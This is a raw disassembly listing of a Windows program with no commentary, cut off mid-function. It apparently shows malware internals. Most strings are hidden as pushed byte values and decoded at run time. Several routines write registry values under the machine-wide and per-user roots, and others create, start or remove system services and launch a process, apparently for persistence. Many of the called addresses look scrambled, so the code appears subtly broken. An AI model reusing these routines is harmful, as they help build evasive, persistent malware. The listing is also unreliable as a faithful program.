push 40000000h
push edx
call dword ptr ds:177ED9h
mov esi, eax
test esi, esi
jbe loc_40CE31
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_4013CF
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4018DE
add esp, 18h
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+708h+var_634]
push 4
push ecx
mov byte ptr [esp+710h+var_4], 2
call sub_4018DE
add esp, 30h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4018DE
add esp, 18h
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+714h+var_67C]
push 4
push eax
mov byte ptr [esp+71Ch+var_4], 4
call sub_4018DE
add esp, 3Ch
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4018DE
add esp, 1Ch
mov [esp+6E0h+var_6C8], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+708h+var_5D4]
push 7
push edx
mov byte ptr [esp+710h+var_4], 6
call sub_4018DE
add esp, 30h
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4018DE
add esp, 30h
mov [esp+6E0h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+714h+var_58C]
push 4
push ecx
mov byte ptr [esp+71Ch+var_4], 8
call sub_4018DE
add esp, 3Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
mov byte ptr [esp+734h+var_4], 9
push 18h
push 5
push 4Eh
push 14h
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4018DE
add esp, 7Ch
mov [esp+6E0h+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+6F8h+var_5BC]
push 53h
push eax
mov byte ptr [esp+700h+var_4], 0Ah
call sub_4018DE
add esp, 20h
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4018DE
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_401726
push eax
mov ecx, ebp
call sub_401726
push eax
mov ecx, ebx
call sub_401726
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_401726
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_401726
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_401726
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_401726
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_401726
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_401726
mov ecx, [esp+700h+var_6C4]
push eax
call sub_401726
mov ecx, [esp+704h+var_6BC]
push eax
call sub_401726
push eax
push offset dword_4BBF6C
lea edx, [esp+710h+var_6AC]
push edx
call sub_40102D
add esp, 34h
lea ecx, [esp+6E0h+var_64C]
mov byte ptr [esp+6E0h+var_4], 0Bh
call sub_4011F9
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_4011F9
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_4011F9
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_4011F9
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_4011F9
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_4011F9
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_4011F9
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_4011F9
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_4011F9
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_4011F9
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_4011F9
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_401726
push eax
push esi
call dword ptr ds:65DFB6h
push esi
call dword ptr ds:72EFDBh
mov ebx, 4F2EFDh
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 2F977Eh
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
call dword ptr ds:17CBBFh
push eax
call dword ptr ds:4BE5DFh
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push 25F2EFh
push ecx
call dword ptr ds:52F977h
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 297CBBh
push edx
push eax
call dword ptr ds:54BE5Dh
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
lea eax, [esp+6FCh+var_110]
push 0
push eax
push 0
call dword ptr ds:6A5F2Eh
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_4011F9
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40CE31: ; CODE XREF: sub_40C8D0+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40C8D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CFB0 proc near ; CODE XREF: sub_40168Bj
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push 352F97h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_4013CF
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_4013CF
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_4013CF
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4018DE
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_401EAB
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_4011F9
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4018DE
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_401EAB
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_4011F9
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4018DE
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_401EAB
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_4011F9
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 5A97CBh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_401726
mov ebp, ds:dword_4B3768
push eax
push 80000002h
call ebp
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_4015F5
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_4015F5
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_4015F5
mov ecx, [esp+90h+var_70]
push eax
push ecx
call dword ptr ds:6D4BE5h
mov edx, [esp+80h+var_70]
push edx
call dword ptr ds:76A5F2h
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 7B52F9h
push 0
push 0
push 0
call sub_401726
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_4015F5
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_4015F5
push eax
push 1
push 0
mov ecx, ebx
call sub_4015F5
mov ecx, [esp+90h+var_70]
push eax
push ecx
call dword ptr ds:3DA97Ch
mov edx, [esp+80h+var_70]
push edx
call dword ptr ds:5ED4BEh
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 2F6A5Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_401726
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_4015F5
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_4015F5
push eax
push 1
push 0
mov ecx, ebx
call sub_4015F5
mov ecx, [esp+90h+var_70]
push eax
push ecx
call dword ptr ds:17B52Fh
mov edx, [esp+80h+var_70]
push edx
call dword ptr ds:0BDA97h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 5ED4Bh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_401726
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_4015F5
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_4015F5
push eax
push 1
push 0
mov ecx, ebx
call sub_4015F5
mov ecx, [esp+90h+var_70]
push eax
push ecx
call dword_42F6A5
mov edx, [esp+80h+var_70]
push edx
call dword ptr ds:617B52h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 70BDA9h
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_401726
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_4015F5
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_4015F5
push eax
push 1
push 0
mov ecx, ebx
call sub_4015F5
mov ecx, [esp+90h+var_70]
push eax
push ecx
call dword ptr ds:785ED4h
mov edx, [esp+80h+var_70]
push edx
call dword ptr ds:3C2F6Ah
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_4011F9
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_4011F9
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40CFB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40D530 proc near ; CODE XREF: sub_4013F2j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push 5E17B5h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_4013CF
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_4013CF
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_4013CF
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4018DE
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_401EAB
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_4011F9
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4018DE
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_401EAB
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_4011F9
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4018DE
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_401EAB
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_4011F9
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 2F0BDAh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_401726
mov esi, ds:dword_4B3768
push eax
push 80000002h
call esi
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_4015F5
mov ecx, [esp+80h+var_70]
mov ebp, ds:dword_4B3730
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
mov ebx, ds:dword_4B3778
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 1785EDh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_401726
push eax
push 80000002h
call esi
mov ecx, edi
call sub_4015F5
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push offset word_4BC2F6
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_401726
push eax
push 80000002h
call esi
mov ecx, edi
call sub_4015F5
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 65E17Bh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_401726
push eax
push 80000001h
call esi
mov ecx, edi
call sub_4015F5
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 72F0BDh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_401726
push eax
push 80000001h
call esi
mov ecx, edi
call sub_4015F5
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_4011F9
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_4011F9
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_4011F9
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40D530 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40D9C0 proc near ; CODE XREF: sub_401442j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push 39785Eh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_4013CF
push 5CBC2Fh
push 2E5E17h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401B40
push eax
call dword ptr ds:172F0Bh
lea ecx, [esp+5Ch+var_3C]
call sub_4013CF
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_401726
push eax
lea ecx, [esp+60h+var_24]
call sub_401726
push eax
lea eax, [esp+64h+var_3C]
push offset byte_4B9785
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_4013CF
lea ecx, [esp+5Ch+var_54]
push 25CBC2h
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_401FC8
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_4011F9
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_4011F9
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40D9C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DB00 proc near ; CODE XREF: sub_401FC8j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push 52E5E1h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 2972F0h
push 14B978h
mov [esp+5Ch+var_44], ecx
push 0
call dword ptr ds:0A5CBCh
mov edi, eax
test edi, edi
jnz short loc_40DB3F
xor al, al
jmp loc_40DC90
; ---------------------------------------------------------------------------
loc_40DB3F: ; CODE XREF: sub_40DB00+36j
lea ecx, [esp+54h+var_24]
call sub_4013CF
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_401726
mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_401726
push eax
lea eax, [esp+5Ch+var_24]
push offset word_452E5E
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_401726
push eax
push 1
push 2
push 20h
push 62972Fh
mov ecx, 6D8A5Ch
call sub_401726
mov ebp, [esp+7Ch+arg_0]
push eax
mov ecx, ebp
call sub_401726
push eax
push edi
call dword ptr ds:36C52Eh
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40DC25
call dword ptr ds:5B6297h
sub eax, 16D8A5h
jnz short loc_40DC09
mov ecx, [esp+50h+var_40]
push ebp
call sub_40186B
mov esi, ds:dword_4B3760
push 0
call esi
push edi
call esi
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_401442
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, bl
jmp loc_40DC90
; ---------------------------------------------------------------------------
loc_40DC09: ; CODE XREF: sub_40DB00+CBj
push edi
call dword ptr ds:0B6C52h
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_4011F9
xor al, al
jmp short loc_40DC90
; ---------------------------------------------------------------------------
loc_40DC25: ; CODE XREF: sub_40DB00+BEj
lea edx, [esp+50h+var_34]
mov dword ptr [esp+50h+var_30], ecx
mov [esp+50h+var_2C], ecx
push edx
mov edx, 0B6C5h
or ebx, 0FFFFFFFFh
lea ecx, [esp+54h+var_3C]
push 2
push esi
mov [esp+5Ch+var_38], eax
mov [esp+5Ch+var_3C], eax
mov [esp+5Ch+var_34], ebx
mov [esp+5Ch+var_28], eax
mov [esp+5Ch+var_24], ecx
call large dword ptr ds:5B62h
test eax, eax
push esi
mov esi, ds:dword_4B3760
jnz short loc_40DC7C
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_4011F9
xor al, al
jmp short loc_40DC90
; ---------------------------------------------------------------------------
loc_40DC7C: ; CODE XREF: sub_40DB00+164j
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_4011F9
mov al, 1
loc_40DC90: ; CODE XREF: sub_40DB00+3Aj
; sub_40DB00+104j ...
mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40DB00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DD20 proc near ; CODE XREF: sub_40186Bj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push offset byte_402DB1
push 6016D8h
push 0
call dword ptr ds:700B6Ch
mov edi, eax
test edi, edi
jnz short loc_40DD47
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40DD47: ; CODE XREF: sub_40DD20+1Bj
mov ecx, [esp+24h+arg_0]
push 7805B6h
call sub_401726
push eax
push edi
call dword ptr ds:7C02DBh
mov esi, eax
test esi, esi
jnz short loc_40DD74
push edi
call dword ptr ds:3E016Dh
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40DD74: ; CODE XREF: sub_40DD20+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
call dword ptr ds:5F00B6h
push esi
call dword ptr ds:6F805Bh
push esi
mov esi, ds:dword_4B3760
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40DD20 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DDC0 proc near ; CODE XREF: sub_401E5Bj
arg_0 = dword ptr 4
push esi
push 37C02Dh
push 5BE016h
push 0
call dword ptr ds:2DF00Bh
mov esi, eax
test esi, esi
jnz short loc_40DDDF
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40DDDF: ; CODE XREF: sub_40DDC0+17j
mov ecx, [esp+4+arg_0]
push 56F805h
call sub_401726
push eax
push esi
call dword ptr ds:6B7C02h
test eax, eax
jnz short loc_40DE06
push esi
call dword ptr ds:75BE01h
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40DE06: ; CODE XREF: sub_40DDC0+37j
push edi
mov edi, ds:dword_4B3760
push eax
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
retn 4
sub_40DDC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DE40 proc near ; CODE XREF: sub_401E7Ej
arg_0 = dword ptr 4
push esi
push edi
push 3ADF00h
push 1D6F80h
push 0
call dword ptr ds:4EB7C0h
mov edi, eax
test edi, edi
jnz short loc_40DE61
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40DE61: ; CODE XREF: sub_40DE40+18j
mov ecx, [esp+8+arg_0]
push 275BE0h
call sub_401726
push eax
push edi
call dword ptr ds:13ADF0h
mov esi, eax
test esi, esi
jnz short loc_40DE8B
push edi
call dword ptr ds:9D6F8h
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40DE8B: ; CODE XREF: sub_40DE40+3Bj
push 0
push 0
push esi
call ds:dword_44EB7C
push esi
mov esi, ds:dword_4B3760
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
retn 4
sub_40DE40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40DED0: ; CODE XREF: _294ADE7B:loc_40144Cj
mov eax, large fs:0
push 0FFFFFFFFh
push 6275BEh
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_40DFCA
push 1
push 713ADFh
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011C2
push 1
push 389D6Fh
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011C2
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_40168B
test al, al
jz short loc_40DF96
lea ecx, [esp+0Ch]
call sub_401726
push eax
lea ecx, [esp+28h]
call sub_401726
push eax
push 1C4EB7h
lea ecx, [esi+69h]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push 0E275Bh
call sub_40178F
add esp, 1Ch
loc_40DF96: ; CODE XREF: _294ADE7B:0040DF57j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_4011F9
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_4011F9
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40DFCA: ; CODE XREF: _294ADE7B:0040DF06j
lea ecx, [edi+47h]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_40E069
push 1
push offset byte_4713AD
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011C2
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
